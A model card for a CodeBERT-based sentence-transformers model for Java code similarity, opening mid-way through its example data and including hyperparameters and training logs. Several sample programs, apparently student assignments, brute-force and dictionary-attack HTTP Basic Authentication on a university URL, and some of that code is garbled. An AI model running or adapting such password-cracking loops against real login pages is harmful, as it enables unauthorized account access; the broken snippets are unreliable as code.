            String  authorization = null;
            String password = null;
            BASE64Encoder b64enc = new BASE64Encoder();
            InputStream content = null;
            BufferedReader in = null;
            String line;
                  int i = 0;
            while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){
              url = new URL(this.url);
              urlConnection = url.openConnection();
              urlConnection.setDoInput(true);
              urlConnection.setDoOutput(true);


              urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");
              urlConnection.setRequestProperty("Host", url.getHost());
              password = getNextPassword();
              if(password == null)
                return null;
              System.out.print(password);
              authorization = user + ":" + password;


              urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));


        outcome = urlConnection.getHeaderField(null); 



              this.attempts ++;
              urlConnection = null;
              url = null;

              if(this.attempts%51 == 0)
                for(int b = 0; b < 53;b++)
                  System.out.print("\b \b");
              else
                System.out.print("\b\b\b.");

            }
            return password;
          }
          
          public int getAttempts(){
            return this.attempts;
          }
          public static void main (String[] args) {
            if(args.length != 2){
              System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");
              System.exit(1);
            }

            BruteForce bruteForce1 = new BruteForce(args[0]);
            try{
              Calendar cal1=null, cal2=null;
              cal1 = Calendar.getInstance();
              System.out.println("Cracking started at: " + cal1.getTime().toString());
              String password = bruteForce1.crackPassword(args[1]);
              if(password != null)
                System.out.println("\nPassword is: "+password);
              else
                System.out.println("\nPassword could not  retrieved!");
              cal2 = Calendar.getInstance();
              System.out.println("Cracking finished at: " + cal2.getTime().toString());
              Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());
              System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");
              System.out.println("Total attempts : "  + bruteForce1.getAttempts());

            }catch(MalformedURLException mue){
              mue.printStackTrace();
            }

            catch(IOException ioe){
              ioe.printStackTrace();
            }
          }
        }
      - "import java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class Dictionary\n{\n\tpublic static void main (String args[])\n\t{\n\t\t\n\t\t\n        Calendar cal = Calendar.getInstance();\n        Date now=cal.getTime();\n        double startTime = now.getTime();\n\n\t\tString password=getPassword(startTime);\n\t\tSystem.out.println(\"The password is \" + password);\n\t}\n\n\tpublic static String getPassword(double startTime)\n\t{\n\t\tString password=\"\";\n\t\tint requests=0;\n\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tFileReader fRead = new FileReader(\"/usr/share/lib/dict/words\");\n\t\t\tBufferedReader buf = new BufferedReader(fRead);\n\n\t\t\tpassword=buf.readLine();\n\n\t\t\twhile (password != null)\n\t\t\t{\n\t\t\t\t\n\t\t\t\tif (password.length()<=3)\n\t\t\t\t{\n\t\t\t\t\trequests++;\n\t\t\t\t\tif (testPassword(password, startTime, requests))\n\t\t\t\t\t\treturn password;\n\t\t\t\t}\n\n\t\t\t\tpassword = buf.readLine();\n\n\t\t\t}\n\t\t}\n\t\tcatch (IOException ioe)\n\t\t{\n\n\t\t}\n\n\t\treturn password;\n\t}\n\n\tprivate static boolean testPassword(String password, double startTime, int requests)\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\t\n\t\t\tURL url=new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n\n\t\t\tHttpURLConnection connection;\n\n    \t\tString userPassword =  \":\" + password;\n\n    \t\t\n    \t\tString encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n\t\t\ttry\n\t\t\t{\n\t\t\t\t\n\t\t\t\tconnection = (HttpURLConnection) url.openConnection();\n\t\t\t\t\n\t\t\t\tconnection.setRequestProperty(\"Authorization\", \" \" + encoding);\n\n\t\t\t\t\n\t\t\t\tint status=connection.getResponseCode();\n\n\t\t\t\tSystem.out.println(password + requests);\n\n\t\t\t\tif (status==200)\n\t\t\t\t{\n\t\t\t\t\tSystem.out.println(\"It took \" + getTime(startTime) + \" milliseconds  find the password.\");\n\t\t\t\t\tSystem.out.println(\" were \" + requests + \" requests .\");\n\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\n\t\t\t\treturn false;\n\n\t\t\t}\n\n\t\t\tcatch (IOException ioe)\n\t\t\t{\n\t\t\t\tSystem.out.print(ioe);\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t}\n\n\t\tcatch (IOException MalformedURLException)\n\t\t{\n\t\t\tSystem.out.print(\"Invalid URL\");\n\t\t\treturn false;\n\t\t}\n\t}\n\n\n\tprivate static double getTime(double startTime)\n\t{\n\t\t\n\t\t\n        Calendar cal = Calendar.getInstance();\n        Date now=cal.getTime();\n        double endTime = now.getTime();\n\n        return endTime-startTime;\n\n\t}\n\n}\n"
pipeline_tag: sentence-similarity
library_name: sentence-transformers

SentenceTransformer based on microsoft/codebert-base

This is a sentence-transformers model finetuned from microsoft/codebert-base. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

  • Model Type: Sentence Transformer
  • Base model: microsoft/codebert-base
  • Maximum Sequence Length: 512 tokens
  • Output Dimensionality: 768 dimensions
  • Similarity Function: Cosine Similarity

Model Sources

Full Model Architecture

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel 
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

pip install -U sentence-transformers

Then you can load this model and run inference.

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

Training Details

Training Dataset

Unnamed Dataset

  • Size: 33,411 training samples
  • Columns: sentence_0, sentence_1, and label
  • Approximate statistics based on the first 1000 samples:
    sentence_0 sentence_1 label
    type string string int
    details
    • min: 61 tokens
    • mean: 471.36 tokens
    • max: 512 tokens
    • min: 61 tokens
    • mean: 491.01 tokens
    • max: 512 tokens
    • 0: ~99.50%
    • 1: ~0.50%
  • Samples:
    sentence_0 sentence_1 label

    public class ImageFile
    {
    private String imageUrl;
    private int imageSize;

    public ImageFile(String url, int size)
    {
    imageUrl=url;
    imageSize=size;
    }

    public String getImageUrl()
    {
    return imageUrl;
    }

    public int getImageSize()
    {
    return imageSize;
    }
    }




    import java.net.;
    import java.io.
    ;
    import java.util.Date;

    public class MyMail implements Serializable
    {



    public static final int SMTPPort = 25;


    public static final char successPrefix = '2';


    public static final char morePrefix = '3';


    public static final char failurePrefix = '4';




    private static final String CRLF = "\r\n";


    private String mailFrom = "";


    private String mailTo = "";


    private String messageSubject = "";


    private String messageBody = "";


    private String mailServer = "";


    public MyMail ()
    {

    super();
    }


    public MyMail ( String serverName)
    {

    super();


    mailServer = serverName;
    }


    public String getFrom()
    {
    return mailFrom;
    }


    public String getTo()
    {
    return mailTo;
    }


    public String getSubject()
    {
    return messageSubject;
    }


    public String getMessage()
    {
    return messageBody;
    }


    public String getMailServer()
    {
    return mailServer;
    }


    public void setFrom( String from )
    {

    mailFr...
    0

    import java.util.;
    import java.net.
    ;
    import java.io.*;
    public class WatchDog
    {
    private Vector init;
    public WatchDog()
    {
    try
    {
    Runtime run = Runtime.getRuntime();
    String command_line = "lynx http://www.cs.rmit.edu./students/ -dump";
    Process result = run.exec(command_line);
    BufferedReader in = new BufferedReader(new InputStreamReader(result.getInputStream()));
    String inputLine;
    init = new Vector();
    while ((inputLine = in.readLine()) != null)
    {
    init.addElement(inputLine);
    }

    }catch(Exception e)
    {
    }
    }
    public static void main(String args[])
    {
    WatchDog wd = new WatchDog();
    wd.nextRead();
    }

    public void nextRead()
    {
    while(true)
    {
    ScheduleTask sch = new ScheduleTask(init);
    if(sch.getFlag()!=0)
    {
    System.out.println("change happen");
    WatchDog wd = new WatchDog();
    wd.nextRead();
    }

    }
    }
    }


    import java.net.;
    import java.io.
    ;
    import java.util.*;

    public class Dictionary{

    private static URL location;
    private static String user;
    private BufferedReader input;
    private static BufferedReader dictionary;
    private int maxLetters = 3;



    public Dictionary() {

    Authenticator.setDefault(new MyAuthenticator ());

    startTime = System.currentTimeMillis();
    boolean passwordMatched = false;
    while (!passwordMatched) {
    try {
    input = new BufferedReader(new InputStreamReader(location.openStream()));
    String line = input.readLine();
    while (line != null) {
    System.out.println(line);
    line = input.readLine();
    }
    input.close();
    passwordMatched = true;
    }
    catch (ProtocolException e)
    {


    }
    catch (ConnectException e) {
    System.out.println("Failed connect");
    }
    catch (IOException e) ...
    0

    import java.util.;
    import java.net.
    ;
    import java.io.*;
    public class ScheduleTask extends Thread
    {

    private int flag=0,count1=0,count2=0;
    private Vector change;
    public ScheduleTask(Vector init)
    {
    try
    {

    Runtime run = Runtime.getRuntime();
    String command_line = "lynx http://yallara.cs.rmit.edu./~/index.html -dump";
    Process result = run.exec(command_line);
    BufferedReader in = new BufferedReader(new InputStreamReader(result.getInputStream()));
    String inputLine;
    Vector newVector = new Vector();
    change = new Vector();
    while ((inputLine = in.readLine()) != null)
    {
    newVector.addElement(inputLine);
    }
    if(init.size()>newVector.size())
    {
    for(int k=0;k {
    if(!newVector.elementAt(k).toString().equals(init.elementAt(k).toString()))
    ch...
    import java.io.;
    import java.net.
    ;
    import java.util.*;


    public class Dictionary
    {
    public static void main (String args[])
    {


    Calendar cal = Calendar.getInstance();
    Date now=cal.getTime();
    double startTime = now.getTime();

    String password=getPassword(startTime);
    System.out.println("The password is " + password);
    }

    public static String getPassword(double startTime)
    {
    String password="";
    int requests=0;

    try
    {

    FileReader fRead = new FileReader("/usr/share/lib/dict/words");
    BufferedReader buf = new BufferedReader(fRead);

    password=buf.readLine();

    while (password != null)
    {

    if (password.length()<=3)
    {
    requests++;
    if (testPassword(password, startTime, requests))
    return password;
    }

    password = buf.readLine();

    }
    }
    catch (IOException ioe)
    {

    }

    return password;
    }

    private static boolean testPassword(String password, double startTime, int requests)
    {
    try
    {


    U...
    0
  • Loss: BatchAllTripletLoss

Training Hyperparameters

Non-Default Hyperparameters

  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 16
  • num_train_epochs: 1
  • multi_dataset_batch_sampler: round_robin

All Hyperparameters

Click to expand
  • overwrite_output_dir: False
  • do_predict: False
  • eval_strategy: no
  • prediction_loss_only: True
  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 16
  • per_gpu_train_batch_size: None
  • per_gpu_eval_batch_size: None
  • gradient_accumulation_steps: 1
  • eval_accumulation_steps: None
  • torch_empty_cache_steps: None
  • learning_rate: 5e-05
  • weight_decay: 0.0
  • adam_beta1: 0.9
  • adam_beta2: 0.999
  • adam_epsilon: 1e-08
  • max_grad_norm: 1
  • num_train_epochs: 1
  • max_steps: -1
  • lr_scheduler_type: linear
  • lr_scheduler_kwargs: {}
  • warmup_ratio: 0.0
  • warmup_steps: 0
  • log_level: passive
  • log_level_replica: warning
  • log_on_each_node: True
  • logging_nan_inf_filter: True
  • save_safetensors: True
  • save_on_each_node: False
  • save_only_model: False
  • restore_callback_states_from_checkpoint: False
  • no_cuda: False
  • use_cpu: False
  • use_mps_device: False
  • seed: 42
  • data_seed: None
  • jit_mode_eval: False
  • use_ipex: False
  • bf16: False
  • fp16: False
  • fp16_opt_level: O1
  • half_precision_backend: auto
  • bf16_full_eval: False
  • fp16_full_eval: False
  • tf32: None
  • local_rank: 0
  • ddp_backend: None
  • tpu_num_cores: None
  • tpu_metrics_debug: False
  • debug: []
  • dataloader_drop_last: False
  • dataloader_num_workers: 0
  • dataloader_prefetch_factor: None
  • past_index: -1
  • disable_tqdm: False
  • remove_unused_columns: True
  • label_names: None
  • load_best_model_at_end: False
  • ignore_data_skip: False
  • fsdp: []
  • fsdp_min_num_params: 0
  • fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
  • fsdp_transformer_layer_cls_to_wrap: None
  • accelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
  • deepspeed: None
  • label_smoothing_factor: 0.0
  • optim: adamw_torch
  • optim_args: None
  • adafactor: False
  • group_by_length: False
  • length_column_name: length
  • ddp_find_unused_parameters: None
  • ddp_bucket_cap_mb: None
  • ddp_broadcast_buffers: False
  • dataloader_pin_memory: True
  • dataloader_persistent_workers: False
  • skip_memory_metrics: True
  • use_legacy_prediction_loop: False
  • push_to_hub: False
  • resume_from_checkpoint: None
  • hub_model_id: None
  • hub_strategy: every_save
  • hub_private_repo: None
  • hub_always_push: False
  • gradient_checkpointing: False
  • gradient_checkpointing_kwargs: None
  • include_inputs_for_metrics: False
  • include_for_metrics: []
  • eval_do_concat_batches: True
  • fp16_backend: auto
  • push_to_hub_model_id: None
  • push_to_hub_organization: None
  • mp_parameters:
  • auto_find_batch_size: False
  • full_determinism: False
  • torchdynamo: None
  • ray_scope: last
  • ddp_timeout: 1800
  • torch_compile: False
  • torch_compile_backend: None
  • torch_compile_mode: None
  • include_tokens_per_second: False
  • include_num_input_tokens_seen: False
  • neftune_noise_alpha: None
  • optim_target_modules: None
  • batch_eval_metrics: False
  • eval_on_start: False
  • use_liger_kernel: False
  • eval_use_gather_object: False
  • average_tokens_across_devices: False
  • prompts: None
  • batch_sampler: batch_sampler
  • multi_dataset_batch_sampler: round_robin

Training Logs

Epoch Step Training Loss
0.2393 500 0.1875
0.4787 1000 0.1815
0.7180 1500 0.24
0.9574 2000 0.1596

Framework Versions

  • Python: 3.11.13
  • Sentence Transformers: 4.1.0
  • Transformers: 4.52.4
  • PyTorch: 2.6.0+cu124
  • Accelerate: 1.7.0
  • Datasets: 3.6.0
  • Tokenizers: 0.21.1

Citation

BibTeX

Sentence Transformers

@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}

BatchAllTripletLoss

@misc{hermans2017defense,
    title={In Defense of the Triplet Loss for Person Re-Identification},
    author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
    year={2017},
    eprint={1703.07737},
    archivePrefix={arXiv},
    primaryClass={cs.CV}
}